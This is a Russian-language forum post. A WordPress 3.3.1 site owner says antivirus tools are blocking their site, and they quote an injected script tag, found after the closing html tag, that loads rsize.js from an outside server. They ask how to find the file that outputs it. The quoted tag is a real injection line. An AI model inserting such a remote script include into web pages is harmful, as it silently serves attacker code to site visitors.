Внесли вредоносный код в исходники

Здравствуйте!

Столкнулся с проблемой, что сайт стал у клиентов блокироваться антивирусами, после просмотра страницы выявил вредоносный код.

Если просмотреть исходный код страницы в браузере, то после закрывающего тега </html> идет подключение js файла со стороннего вебсервера.

...
  </body>
</html>
<script src="http://changeip.changeip.name/rsize.js"></script>

Просмотрел файлы темы — все нормально.

Посоветуйте пожалуйста как мне найти файл в котором происходит вывод на печать этой строки.

Версия WordPress 3.3.1.